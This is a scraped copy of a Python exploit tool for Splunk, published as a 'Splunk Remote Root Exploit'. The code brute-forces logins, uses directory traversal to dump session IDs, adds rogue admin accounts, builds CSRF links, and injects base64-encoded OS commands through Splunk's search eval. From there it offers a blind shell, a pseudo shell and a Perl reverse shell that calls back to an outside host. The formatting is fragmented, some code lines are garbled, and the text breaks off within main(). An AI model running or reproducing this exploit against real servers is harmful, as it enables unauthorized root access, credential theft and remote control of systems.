天天看點

Splunk Remote Root Exploit

<code>from</code> <code>sec1httplib.requestbuilder</code><code>import</code> <code>Requestobj</code>

<code>from</code> <code>sec1httplib.thread_dispatcher</code><code>import</code> <code>*</code>

<code>import</code> <code>threading</code>

<code>import</code> <code>re</code>

<code>import</code> <code>urlparse</code>

<code>import</code> <code>sys</code>

<code>import</code> <code>urllib</code>

<code>import</code> <code>base64</code>

<code>from</code> <code>optparse</code><code>import</code> <code>OptionParser</code>

<code> </code> 

<code>"""</code>

<code>Source: http://www.sec-1.com/blog/?p=233</code>

<code>Splunk remote root exploit.</code>

<code>Author: Gary O'leary-Steele @ Sec-1 Ltd</code>

<code>Date:   5th September 2011</code>

<code>Release date: Private</code>

<code>Full Package: http://www.exploit-db.com/sploits/18245.zip</code>

<code>C:\git\splunk&gt;python splunk_exploit.py -h</code>

<code>Usage: Run splunk_exploit.py -h to see usage options</code>

<code>Options:</code>

<code>  </code><code>--version          show program's version number and exit</code>

<code>  </code><code>-h, --help         show this help message and exit</code>

<code>  </code><code>-t TARGETHOST      IP Address or hostname of target splunk server</code>

<code>  </code><code>-c                 Generate CSRF URL only</code>

<code>  </code><code>-w SPLUNKWEB_PORT  The Splunk admin interface port (Default: 8000)</code>

<code>  </code><code>-d SPLUNKD_PORT    The Splunkd Web API port (Default: 8089)</code>

<code>  </code><code>-u USERFILE        File containing usernames for use in dictionary attack</code>

<code>  </code><code>-p PASSFILE        File containing passwords for use in dictionary attack</code>

<code>  </code><code>-U USERNAME        Admin username (if known)</code>

<code>  </code><code>-P PASSWORD        Admin pasword (if known)</code>

<code>ToDo: Fix bug when attemping to get home dir</code>

<code>#Set this to use a proxy</code>

<code>#Requestobj.set_proxy("127.0.0.1","8080")</code>

<code>Requestobj.verbose</code><code>=</code>

<code>0</code>

<code>misc_lock</code><code>=</code>

<code>threading.Lock()</code>

<code># Counter used in bruteforce</code>

<code>class</code> <code>Counter():</code>

<code>    </code><code>def</code>

<code>__init__(</code><code>self</code><code>):</code>

<code>        </code><code>self</code><code>.l</code><code>=</code> <code>threading.Lock()</code>

<code>set_total(</code><code>self</code><code>,total):</code>

<code>        </code><code>self</code><code>.statictotal</code><code>=</code> <code>total</code>

<code>        </code><code>self</code><code>.total</code><code>=</code> <code>total</code>

<code>sub(</code><code>self</code><code>):</code>

<code>        </code><code>with</code><code>self</code><code>.l:</code>

<code>            </code><code>if</code>

<code>self</code><code>.total !</code><code>=</code><code>0</code><code>:</code>

<code>                </code><code>self</code><code>.total</code><code>=</code> <code>self</code><code>.total</code><code>-</code> <code>1</code>

<code>print_remaining(</code><code>self</code><code>):</code>

<code>            </code><code>print</code>

<code>"[i] %s of %s remaining"</code> <code>%</code> <code>(</code><code>self</code><code>.total,</code><code>self</code><code>.statictotal)</code>

<code>counter</code><code>=</code>

<code>Counter()</code>

<code>def</code> <code>request_factory_splunkd(targeturl,username,password,splunk_object):</code>

<code>    </code><code>"Factory to generate attempt_login functions"</code>

<code>    </code><code>global</code>

<code>counter</code>

<code>attempt_login():</code>

<code>        </code><code># Dont continue if we already have admin</code>

<code>        </code><code>if</code>

<code>splunk_object.got_admin</code><code>=</code><code>=</code>

<code>1</code><code>:</code>

<code>            </code><code>return</code>

<code>False</code>

<code>        </code><code>login_url</code><code>=</code> <code>"{0}/services/auth/login"</code><code>.</code><code>format</code><code>(targeturl.rstrip())</code>

<code>        </code><code>r</code><code>=</code> <code>Requestobj(login_url)</code>

<code>        </code><code>poststr</code><code>=</code> <code>"username={0}&amp;password={1}"</code><code>.</code><code>format</code><code>(username.rstrip(),password.rstrip())</code>

<code>        </code><code>r.rawpostdata(</code><code>"POST"</code><code>, poststr)</code>

<code>        </code><code>result</code><code>=</code> <code>r.makerequest()</code>

<code>        </code><code>counter.sub()</code>

<code>        </code><code>counter.print_remaining()</code>

<code>  </code> 

<code>result.find_data(</code><code>"Remote login disabled because you are using a free license"</code><code>):</code>

<code>"[i] Free licence in use. No remote login required"</code>

<code>"[!] run the exploit again with the -f flag"</code>

<code>            </code><code>sys.exit()</code>

<code>         </code> 

<code>result.find_data(</code><code>"sessionKey"</code><code>):</code>

<code>"[***] Cracked: %s:%s\n"</code> <code>%</code> <code>(username.rstrip(),password.rstrip())</code>

<code>            </code><code>try</code><code>:</code>

<code>                </code><code>if</code>

<code>splunk_object.user_is_admin(username.rstrip(),password.rstrip()):</code>

<code>                    </code><code>splunk_object.username</code><code>=</code> <code>username.rstrip()</code>

<code>                    </code><code>splunk_object.password</code><code>=</code> <code>password.rstrip()</code>

<code>                    </code><code>splunk_object.got_admin</code><code>=</code><code>1</code>

<code>                    </code><code>#print "ADMIN",splunk_object.got_admin</code>

<code>                    </code><code>splunk_object.session_key</code><code>=</code> <code>re.findall(</code><code>"&lt;sessionKey&gt;(.+?)&lt;/sessionKey&gt;"</code><code>,result.body)[</code><code>0</code><code>]</code>

<code>            </code><code>except</code>

<code>Exception as err:</code>

<code>                </code><code>print</code>

<code>"[i] Error getting auth details"</code><code>,err</code>

<code>(username,password)</code>

<code>        </code><code>else</code><code>:</code>

<code>            </code><code>pass</code>

<code>    </code><code>return</code>

<code>attempt_login</code>

<code>def</code> <code>request_factory_splunkweb(targeturl,username,password,cval,splunk_object):</code>

<code>        </code><code>login_url</code><code>=</code> <code>"{0}/en-GB/account/login"</code><code>.</code><code>format</code><code>(targeturl.rstrip())</code>

<code>        </code><code>poststr</code><code>=</code> <code>"cval={0}&amp;return_to=%2Fen-GB%2F&amp;username={1}&amp;password={2}"</code><code>.</code><code>format</code><code>(cval,username.rstrip(),password.rstrip())</code>

<code>        </code><code>r.set_custom_cookie(copyglobaljar</code><code>=</code><code>1</code><code>)</code>

<code>             </code> 

<code>result.find_data(</code><code>"This resource can be found at"</code><code>):</code>

<code>"[***] Cracked: %s:%s"</code> <code>%</code> <code>(username.rstrip(),password.rstrip())</code>

<code>class</code> <code>SplunkTarget(</code><code>object</code><code>):</code>

<code>__init__(</code><code>self</code><code>,hostaddr,splunkd_port</code><code>=</code><code>8089</code><code>,splunkweb_port</code><code>=</code><code>8000</code><code>):</code>

<code>        </code><code>self</code><code>.splunkd_port</code><code>=</code> <code>splunkd_port</code>

<code>        </code><code>self</code><code>.splunkweb_port</code><code>=</code> <code>splunkweb_port</code>

<code>        </code><code>self</code><code>.max_threads</code><code>=</code> <code>20</code>

<code>        </code><code>self</code><code>.username</code><code>=</code><code>""</code>

<code>        </code><code>self</code><code>.password</code><code>=</code> <code>""</code>

<code>        </code><code>self</code><code>.session_key</code><code>=</code><code>""</code>

<code>        </code><code>self</code><code>.splunk_home</code><code>=</code> <code>""</code>

<code>        </code><code>self</code><code>.got_admin</code><code>=</code> <code>0</code>

<code>        </code><code>self</code><code>.web_authed</code><code>=</code> <code>0</code> <code># are we authed to the web interface</code>

<code>        </code><code>self</code><code>.freelic</code><code>=</code><code>0</code>

<code>        </code><code># Check splunkd server</code>

<code>        </code><code>info</code><code>=</code> <code>Requestobj(</code><code>"https://{0}:{1}/services/server/info/server-info"</code><code>.</code><code>format</code><code>(hostaddr,splunkd_port)).makerequest()</code>

<code>info.body:</code>

<code>            </code><code>self</code><code>.splunkd_url</code><code>=</code> <code>"{0}://{1}"</code><code>.</code><code>format</code><code>(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)</code>

<code>            </code><code>info</code><code>=</code> <code>Requestobj(</code><code>"http://{0}:{1}/services/server/info/server-info"</code><code>.</code><code>format</code><code>(hostaddr,splunkd_port)).makerequest()</code>

<code>"server-info"</code> <code>in</code>

<code>            </code><code>self</code><code>.splunkd</code><code>=</code><code>1</code>

<code>                </code><code>self</code><code>.os_build</code><code>=</code> <code>re.findall(</code><code>"os_build\"&gt;(.+?)&lt;"</code><code>,info.body)[</code><code>0</code><code>]</code>

<code>                </code><code>self</code><code>.os_name</code><code>=</code> <code>re.findall(</code><code>"os_name\"&gt;(.+?)&lt;"</code><code>,info.body)[</code><code>0</code><code>]</code>

<code>                </code><code>self</code><code>.os_version</code><code>=</code> <code>re.findall(</code><code>"os_version\"&gt;(.+?)&lt;"</code><code>,info.body)[</code><code>0</code><code>]</code>

<code>                </code><code>self</code><code>.server_name</code><code>=</code> <code>re.findall(</code><code>"serverName\"&gt;(.+?)&lt;"</code><code>,info.body)[</code><code>0</code><code>]</code>

<code>                </code><code>self</code><code>.splunk_version</code><code>=</code> <code>re.findall(</code><code>"\"version\"&gt;(.+?)&lt;"</code><code>,info.body)[</code><code>0</code><code>]</code>

<code>                </code><code>self</code><code>.cpu_arch</code><code>=</code> <code>re.findall(</code><code>"cpu_arch\"&gt;(.+?)&lt;"</code><code>,info.body)[</code><code>0</code><code>]</code>

<code>"[i] Splunkd server found. Version:{0}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunk_version)</code>

<code>"[i] OS:{0} {1} {2}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.os_name,</code><code>self</code><code>.os_version,</code><code>self</code><code>.os_build)</code>

<code>"Error getting splunk server info"</code><code>,err</code>

<code>            </code><code>self</code><code>.splunkd</code><code>=</code><code>0</code>

<code>        </code><code># Check splunk web</code>

<code>        </code><code>splunkweb_info</code><code>=</code> <code>Requestobj(</code><code>"http://{0}:{1}/en-GB/account/login"</code><code>.</code><code>format</code><code>(hostaddr,splunkweb_port)).makerequest()</code>

<code>splunkweb_info.body:</code>

<code>            </code><code>self</code><code>.splunkweb_url</code><code>=</code> <code>"{0}://{1}"</code><code>.</code><code>format</code><code>(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc)</code>

<code>            </code><code>splunkweb_info</code><code>=</code> <code>Requestobj(</code><code>"https://{0}:{1}/en-GB/account/login"</code><code>.</code><code>format</code><code>(hostaddr,splunkweb_port)).makerequest()</code>

<code>"Splunk"</code> <code>in</code>

<code>"[i] Splunk web interface discovered"</code>

<code>            </code><code>self</code><code>.splunkweb</code><code>=</code><code>1</code>

<code>            </code><code>self</code><code>.cval</code><code>=</code><code>""</code>

<code>                </code><code>self</code><code>.cval</code><code>=</code> <code>splunkweb_info.extract_data_body(</code><code>'name="cval" value="(\d+?)"'</code><code>)[</code><code>0</code><code>]</code>

<code>"[i] CVAL:{0}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.cval)</code>

<code>            </code><code>except</code><code>:</code>

<code>"[i] Error getting cval"</code>

<code>                </code><code>self</code><code>.splunkweb</code><code>=</code><code>0</code>

<code>            </code><code>self</code><code>.splunkweb</code><code>=</code><code>0</code>

<code>self</code><code>.splunkweb</code>

<code>=</code><code>=</code><code>1</code><code>:</code>

<code>                </code><code>url</code><code>=</code><code>"{0}/en-GB/manager/system/licensing"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url)</code>

<code>                </code><code>lic</code><code>=</code> <code>Requestobj(url).makerequest()</code>

<code>"&lt;h1&gt;Free license group&lt;/h1&gt;"</code> <code>in</code> <code>lic.body:</code>

<code>                    </code><code>print</code>

<code>"[i] Configured with free licence. No auth required"</code>

<code>                    </code><code>#if not self.splunkd:</code>

<code>                    </code><code>#    print "[i] Cannot connect to splunkd using free licence"</code>

<code>                    </code><code>#    sys.exit()</code>

<code>                    </code><code>self</code><code>.got_admin</code><code>=</code><code>1</code>

<code>                    </code><code>self</code><code>.username</code><code>=</code><code>"admin"</code>

<code>                    </code><code>self</code><code>.password</code><code>=</code><code>"admin"</code>

<code>                    </code><code>self</code><code>.web_authed</code><code>=</code><code>1</code>

<code>                    </code><code>self</code><code>.splunkd</code><code>=</code><code>0</code>

<code>                    </code><code>self</code><code>.freelic</code><code>=</code><code>1</code>

<code>                    </code><code>self</code><code>.pop_shell()</code>

<code>"error"</code><code>,err</code>

<code>                </code><code>exit()</code>

<code>     </code> 

<code>account_bruteforce(</code><code>self</code><code>,userfile,passfile):</code>

<code>        </code><code>global</code>

<code>        </code><code>q</code><code>=</code> <code>ThreadDispatcher(store_return</code><code>=</code><code>1</code><code>,max_threads</code><code>=</code><code>self</code><code>.max_threads)</code>

<code>        </code><code>for</code>

<code>username</code><code>in</code>

<code>set</code><code>(</code><code>open</code><code>(userfile).readlines()):</code>

<code>            </code><code>for</code>

<code>password</code><code>in</code>

<code>set</code><code>(</code><code>open</code><code>(passfile).readlines()):</code>

<code>self</code><code>.splunkd</code>

<code>=</code><code>=</code> <code>1</code><code>:</code>

<code>                    </code><code>q.add(request_factory_splunkd(</code><code>self</code><code>.splunkd_url,username,password,</code><code>self</code><code>))</code>

<code>                </code><code>elif</code>

<code>self</code><code>.splunkweb</code><code>=</code><code>=</code><code>1</code><code>:</code>

<code>                    </code><code>q.add(request_factory_splunkweb(</code><code>self</code><code>.splunkweb_url,username,password,</code><code>self</code><code>.cval,</code><code>self</code><code>))</code>

<code>                </code><code>else</code><code>:</code>

<code>"[Error] Not connected"</code>

<code>                    </code><code>sys.exit()</code>

<code>        </code><code>counter.set_total(</code><code>len</code><code>(q.call_queue))</code>

<code>        </code><code>q.start()</code>

<code>x</code><code>in</code> <code>range</code><code>(q.return_queue._qsize()):</code>

<code>            </code><code>username, password</code><code>=</code> <code>q.return_queue.get(x)</code>

<code>            </code><code>username</code><code>=</code> <code>username.rstrip()</code>

<code>            </code><code>password</code><code>=</code> <code>password.rstrip()</code>

<code>"[***] Cracked: %s:%s"</code> <code>%</code> <code>(username,password)</code>

<code>user_is_admin(</code><code>self</code><code>,username,password):</code>

<code>            </code><code># attempt to auth via splunkd to get a sessionkey</code>

<code>            </code><code>self</code><code>.username</code><code>=</code> <code>username</code>

<code>            </code><code>self</code><code>.password</code><code>=</code> <code>password</code>

<code>            </code><code>self</code><code>.splunkd_auth()</code>

<code>            </code><code>url</code><code>=</code> <code>Requestobj(</code><code>"{0}/services/authentication/httpauth-tokens"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url))</code>

<code>            </code><code>url.basic_auth(username,password)</code>

<code>            </code><code>context</code><code>=</code> <code>url.makerequest()</code>

<code>'&lt;title&gt;httpauth-tokens'</code> <code>in</code> <code>context.body:</code>

<code>                </code><code>self</code><code>.got_admin</code><code>=</code><code>1</code>

<code>                </code><code>return</code>

<code>True</code>

<code>            </code><code>else</code><code>:</code>

<code>        </code><code>elif</code>

<code>            </code><code>with misc_lock:</code>

<code>                </code><code>self</code><code>.username</code><code>=</code> <code>username</code>

<code>                </code><code>self</code><code>.password</code><code>=</code> <code>password</code>

<code>self</code><code>.splunkweb_auth():</code>

<code>                    </code><code>admin_only</code><code>=</code> <code>Requestobj(</code><code>"{0}/en-US/manager/launcher/server/settings/settings?action=edit"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url)).makerequest()</code>

<code>                    </code><code>if</code>

<code>admin_only.find_data(</code><code>"Port that Splunk Web uses"</code><code>):</code>

<code>                        </code><code>print</code>

<code>"[i] User:{0} IS AN ADMIN."</code><code>.</code><code>format</code><code>(username)</code>

<code>                        </code><code>return</code>

<code>                    </code><code>else</code><code>:</code>

<code>"[i] User:{0} is not an admin"</code><code>.</code><code>format</code><code>(username)</code>

<code>                    </code><code>pass</code>

<code>                 </code> 

<code>"Not Connected"</code>

<code>search_payload_cmd(</code><code>self</code><code>,payload):</code>

<code>        </code><code>"Generate a command execution payload"</code>

<code>        </code><code>encoded</code><code>=</code> <code>urllib.quote(base64.b64encode(payload))</code>

<code>        </code><code>encodedpl</code><code>=</code> <code>"""search index=_internal source=*splunkd.log |mappy x=eval("sys.modules['os'].system(base64.b64decode('%s'))")"""</code>

<code>%</code> <code>encoded</code>

<code>        </code><code>#print encodedpl</code>

<code>        </code><code>return</code>

<code>encodedpl</code>

<code>get_splunk_home(</code><code>self</code><code>):</code>

<code>not</code> <code>self</code><code>.username</code><code>or</code> <code>not</code>

<code>self</code><code>.password:</code>

<code>"[i] Valid username and password required"</code>

<code>        </code><code>try</code><code>:</code>

<code>            </code><code>r</code><code>=</code> <code>Requestobj(</code><code>"{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url))</code>

<code>            </code><code>r.basic_auth(</code><code>self</code><code>.username,</code><code>self</code><code>.password)</code>

<code>            </code><code>splunkdir</code><code>=</code>  <code>r.makerequest()</code>

<code>"ERROR"</code> <code>not</code>

<code>in</code> <code>splunkdir.body</code>

<code>and</code> <code>"Remote login disabled"</code>

<code>not</code> <code>in</code> <code>splunkdir.body</code><code>and</code> <code>self</code><code>.splunkd:</code>

<code>                </code><code>self</code><code>.splunk_home</code><code>=</code> <code>splunkdir.body.strip()</code>

<code>"[***] Could not get home dir setting default.."</code>

<code>"windows"</code> <code>in</code>

<code>self</code><code>.os_name.lower():</code>

<code>                    </code><code>self</code><code>.splunk_home</code><code>=</code> <code>"c:\\program files\\splunk"</code>

<code>                    </code><code>self</code><code>.splunk_home</code><code>=</code> <code>"/opt/splunk"</code>

<code>"Setting Splunk home dir to:{0}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunk_home)</code>

<code>self</code><code>.splunk_home</code>

<code>        </code><code>except</code>

<code>"[i] Error occured while attempting to read splunk home dir"</code><code>,err</code>

<code>splunkd_auth(</code><code>self</code><code>):</code>

<code>        </code><code>login_url</code><code>=</code> <code>"{0}/services/auth/login"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url)</code>

<code>        </code><code>poststr</code><code>=</code> <code>"username={0}&amp;password={1}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.username.rstrip(),</code><code>self</code><code>.password.rstrip())</code>

<code>            </code><code>self</code><code>.session_key</code><code>=</code> <code>re.findall(</code><code>"&lt;sessionKey&gt;(.+?)&lt;/sessionKey&gt;"</code><code>,result.body)[</code><code>0</code><code>]</code>

<code>splunkweb_auth(</code><code>self</code><code>):</code>

<code>self</code><code>.web_authed</code>

<code>        </code><code>login_page</code><code>=</code> <code>Requestobj(</code><code>"{0}/en-GB/account/login"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url)).makerequest()</code><code># Get session cookie</code>

<code>        </code><code>cval</code><code>=</code><code>""</code>

<code>        </code><code>cval</code><code>=</code> <code>login_page.extract_data_body(</code><code>'name="cval" value="(\d+?)"'</code><code>)</code>

<code>cval:</code>

<code>            </code><code>cval</code><code>=</code> <code>cval[</code><code>0</code><code>]</code>

<code>        </code><code>r</code><code>=</code> <code>Requestobj(login_page.url)</code>

<code>        </code><code>poststr</code><code>=</code> <code>"cval={0}&amp;return_to=%2Fen-GB%2F&amp;username={1}&amp;password={2}"</code><code>.</code><code>format</code><code>(cval,</code><code>self</code><code>.username.rstrip(),</code><code>self</code><code>.password.rstrip())</code>

<code>            </code><code>self</code><code>.web_authed</code><code>=</code> <code>1</code>

<code>"[i] Login Failed"</code>

<code>            </code><code>exit()</code>

<code>add_admin(</code><code>self</code><code>,username,password,sessionKey):</code>

<code>        </code><code># look for 201</code>

<code>=</code><code>=</code> <code>1</code> <code>and</code> <code>self</code><code>.username</code><code>and</code> <code>self</code><code>.password:</code>

<code>            </code><code>url</code><code>=</code> <code>Requestobj(</code><code>"{0}/servicesNS/-/launcher/authentication/users"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url))</code>

<code>            </code><code>url.basic_auth(</code><code>self</code><code>.username,</code><code>self</code><code>.password)</code>

<code>            </code><code>url.rawpostdata(</code><code>"POST"</code><code>,</code><code>"roles=user&amp;roles=admin&amp;name={0}&amp;defaultApp=search&amp;password={1}&amp;email=&amp;createrole=0&amp;realname="</code><code>.</code><code>format</code><code>(username,password))</code>

<code>            </code><code>url.add_header(</code><code>"authorization"</code><code>,</code><code>"Splunk {0}"</code><code>.</code><code>format</code><code>(sessionKey))</code>

<code>            </code><code>result</code><code>=</code> <code>url.makerequest()</code>

<code>str</code><code>(result.code)</code><code>=</code><code>=</code>

<code>"201"</code><code>:</code>

<code>"[!] Not connected to splunkd. Check port and creds"</code>

<code>dump_session_ids(</code><code>self</code><code>):</code>

<code>        </code><code>"Exploits dir traversal issue to dump session ids"</code>

<code>        </code><code>print</code>

<code>"[i] Attemping to dump sessions"</code>

<code>            </code><code>#url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url))</code>

<code>            </code><code>url</code><code>=</code> <code>Requestobj(</code><code>"{0}/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url))</code>

<code>            </code><code>sessions</code><code>=</code><code>[]</code>

<code>"session="</code> <code>in</code>

<code>result.body:</code>

<code>"[i] Session ID's extracted from web_service.log"</code>

<code>                </code><code>sessions</code><code>=</code> <code>re.findall(</code><code>"session=(.+?)[&lt;\s]"</code><code>,result.body)</code>

<code>session</code><code>in</code> <code>set</code><code>(sessions):</code>

<code>"[SESSION]"</code><code>,session</code>

<code>set</code><code>(sessions)</code>

<code>perl_revshell(</code><code>self</code><code>,revhost,port):</code>

<code>        </code><code>cmd</code><code>=</code><code>"""perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'"""</code> <code>%</code> <code>(revhost,port)</code>

<code>        </code><code>self</code><code>.search_exploit_cmd(cmd)</code>

<code>search_exploit_cmd(</code><code>self</code><code>,command):</code>

<code>        </code><code>"Execute commands via search exploit."</code>

<code>=</code><code>=</code> <code>1</code> <code>and</code> <code>self</code><code>.got_admin:</code>

<code>=</code><code>=</code> <code>0</code><code>:</code>

<code>                </code><code>self</code><code>.splunkweb_auth()</code>

<code>"[i] Executing Command:{0}"</code><code>.</code><code>format</code><code>(command)</code>

<code>            </code><code>attack_body</code><code>=</code> <code>self</code><code>.search_payload_cmd(command)</code><code>#</code>

<code>            </code><code>attack_body</code><code>=</code> <code>urllib.quote(urllib.unquote(attack_body))</code>

<code>            </code><code>shell_req</code><code>=</code> <code>Requestobj(</code><code>"{0}/en-GB/api/search/jobs"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url))</code>

<code>            </code><code>shell_req.rawpostdata(</code><code>"POST"</code><code>,</code><code>"search={0}&amp;status_buckets=300&amp;namespace=search&amp;ui_dispatch_app=search&amp;ui_dispatch_view=flashtimeline&amp;auto_cancel=100&amp;required_field_list=*&amp;earliest_time=&amp;latest_time="</code><code>.</code><code>format</code><code>(attack_body))</code>

<code>c</code><code>in</code> <code>shell_req.get_cookiejar():</code>

<code>"session"</code> <code>in</code>

<code>c.name:</code>

<code>                    </code><code>shell_req.add_header(</code><code>"X-Requested-With"</code><code>,</code><code>"XMLHttpRequest"</code><code>)</code>

<code>                    </code><code>shell_req.add_header(</code><code>"X-Splunk-Session"</code><code>,c.value)</code>

<code>            </code><code>x</code><code>=</code> <code>shell_req.makerequest()</code>

<code>=</code><code>=</code> <code>1</code> <code>and</code> <code>self</code><code>.got_admin</code><code>and</code> <code>self</code><code>.session_key:</code>

<code>            </code><code>shell_req</code><code>=</code> <code>Requestobj(</code><code>"{0}/servicesNS/admin/search/search/jobs"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkd_url))</code>

<code>            </code><code>shell_req.rawpostdata(</code><code>"POST"</code><code>,</code><code>"ui_dispatch_app=search&amp;search={0}&amp;required_field_list=%2A&amp;ui_dispatch_view=flashtimeline&amp;max_count=10000&amp;time_format=%25s.%25Q&amp;latest_time=&amp;status_buckets=300&amp;earliest_time=&amp;auto_cancel=100"</code><code>.</code><code>format</code><code>(attack_body))</code>

<code>            </code><code>shell_req.add_header(</code><code>"authorization"</code><code>,</code><code>"Splunk {0}"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.session_key))</code>

<code>"Session"</code><code>,</code><code>self</code><code>.session_key</code>

<code>"Admin"</code><code>,</code><code>self</code><code>.got_admin</code>

<code>"Splunkd"</code><code>,</code><code>self</code><code>.splunkd</code>

<code>"[i] Exploit failed. Not connected or access denied"</code>

<code>blind_shell(</code><code>self</code><code>):</code>

<code>        </code><code>command</code><code>=</code><code>""</code>

<code>        </code><code>while</code>

<code>command.rstrip()</code>

<code>            </code><code>command</code><code>=</code><code>raw_input</code><code>(</code><code>"blind_shell&gt;"</code><code>)</code><code>#</code>

<code>command.rstrip()</code><code>=</code><code>=</code>

<code>"exit"</code><code>:</code><code>break</code>

<code>            </code><code>self</code><code>.search_exploit_cmd(command)</code>

<code>get_csrf_link_cmd(</code><code>self</code><code>,command):</code>

<code>"{0}/en-US/app/search/flashtimeline?q={1}&amp;earliest=0"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url,</code><code>self</code><code>.search_payload_cmd(command))</code>

<code>get_csrf_link_revshell(</code><code>self</code><code>,revhost,port):</code>

<code>"{0}/en-US/app/search/flashtimeline?q={1}&amp;earliest=0"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url,</code><code>self</code><code>.search_payload_cmd(cmd))</code>

<code>search_exploit_psudoshell(</code><code>self</code><code>):</code>

<code>        </code><code>"Execute commands via search exploit. Payload implements a virtual shell"</code>

<code>not</code> <code>self</code><code>.splunkweb</code><code>=</code><code>=</code>

<code>"[error] Managment Web Interface required for this payload"</code>

<code>""</code>

<code>            </code><code>self</code><code>.splunkweb_auth()</code>

<code>        </code><code>base_dir</code><code>=</code> <code>self</code><code>.get_splunk_home()</code>

<code>        </code><code>#if not base_dir:</code>

<code>        </code><code>#    print "Failed to get splunk basedir"</code>

<code>        </code><code>#    base_dir = "/opt/splunk"</code>

<code>            </code><code>command</code><code>=</code><code>raw_input</code><code>(</code><code>"shell&gt;"</code><code>)</code><code>#</code>

<code>                </code><code>tmp</code><code>=</code> <code>"&gt;\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\""</code><code>.</code><code>format</code><code>(base_dir)</code>

<code>                </code><code>command</code><code>=</code> <code>command</code>

<code>+</code> <code>tmp</code><code>#'"'+ tmp +'"'</code>

<code>                </code><code>tmp</code><code>=</code> <code>"&gt;{0}/share/splunk/search_mrsparkle/exposed/js/.tmp"</code><code>.</code><code>format</code><code>(base_dir)</code>

<code>+</code> <code>tmp</code>

<code>            </code><code>psudoshell_req</code><code>=</code> <code>Requestobj(</code><code>"{0}/en-GB/api/search/jobs"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url))</code>

<code>            </code><code>psudoshell_req.rawpostdata(</code><code>"POST"</code><code>,</code><code>"search={0}&amp;status_buckets=300&amp;namespace=search&amp;ui_dispatch_app=search&amp;ui_dispatch_view=flashtimeline&amp;auto_cancel=100&amp;required_field_list=*&amp;earliest_time=&amp;latest_time="</code><code>.</code><code>format</code><code>(attack_body))</code>

<code>c</code><code>in</code> <code>psudoshell_req.get_cookiejar():</code>

<code>                    </code><code>psudoshell_req.add_header(</code><code>"X-Requested-With"</code><code>,</code><code>"XMLHttpRequest"</code><code>)</code>

<code>                    </code><code>psudoshell_req.add_header(</code><code>"X-Splunk-Session"</code><code>,c.value)</code>

<code>            </code><code>x</code><code>=</code> <code>psudoshell_req.makerequest()</code>

<code>            </code><code>import</code>

<code>time</code>

<code>            </code><code>time.sleep(</code><code>3</code><code>)</code>

<code>Requestobj(</code><code>"{0}/en-US/static/@105575/js/.tmp"</code><code>.</code><code>format</code><code>(</code><code>self</code><code>.splunkweb_url)).makerequest().body</code>

<code>pop_shell(</code><code>self</code><code>):</code>

<code>        </code><code>"Prompt for paylod options"</code>

<code>        </code><code>"[w00p] We appear to have access. Please select a payload"</code>

<code>"[Payload Options]"</code>

<code>"[1]\tPseudo Interactive Shell"</code>

<code>"[DISABLED]\tPseudo Interactive Shell"</code>

<code>"[2]\tPerl Reverse Shell"</code>

<code>"[3]\tCommand Exec (Blind)"</code>

<code>        </code><code>option</code><code>=</code> <code>input</code><code>(</code><code>"Please select option 1-3:"</code><code>)</code>

<code>option</code><code>=</code><code>=</code>

<code>            </code><code>self</code><code>.search_exploit_psudoshell()</code>

<code>option</code><code>=</code><code>=</code><code>2</code><code>:</code>

<code>            </code><code>rev_host</code><code>=</code> <code>raw_input</code><code>(</code><code>"Enter Callback Host:"</code><code>)</code>

<code>            </code><code>rev_port</code><code>=</code> <code>raw_input</code><code>(</code><code>"Enter Callback Port:"</code><code>)</code>

<code>            </code><code>self</code><code>.perl_revshell(rev_host,rev_port)</code>

<code>option</code><code>=</code><code>=</code><code>3</code><code>:</code>

<code>            </code><code>self</code><code>.blind_shell()</code>

<code>"Invalid option"</code>

<code>def</code> <code>main():</code>

<code>    </code><code>banner</code><code>=</code> <code>"-----==[Slunk Remote Root Exploit]=-----\n"</code>

<code>    </code><code>parser</code><code>=</code> <code>OptionParser(usage</code><code>=</code><code>"Run %prog -h to see usage options"</code><code>,</code>

<code>                          </code><code>version</code><code>=</code><code>"%prog 1.0"</code><code>)</code>

<code>    </code><code>parser.add_option(</code><code>"-t"</code><code>,</code>

<code>                      </code><code>action</code><code>=</code><code>"store"</code><code>,</code>

<code>                      </code><code>dest</code><code>=</code><code>"targethost"</code><code>,</code>

<code>                      </code><code>help</code><code>=</code><code>"IP Address or hostname of target splunk server"</code><code>)</code>

<code>    </code><code>parser.add_option(</code><code>"-c"</code><code>,</code>

<code>                      </code><code>action</code><code>=</code><code>"store_true"</code><code>,</code><code># optional because action defaults to "store"</code>

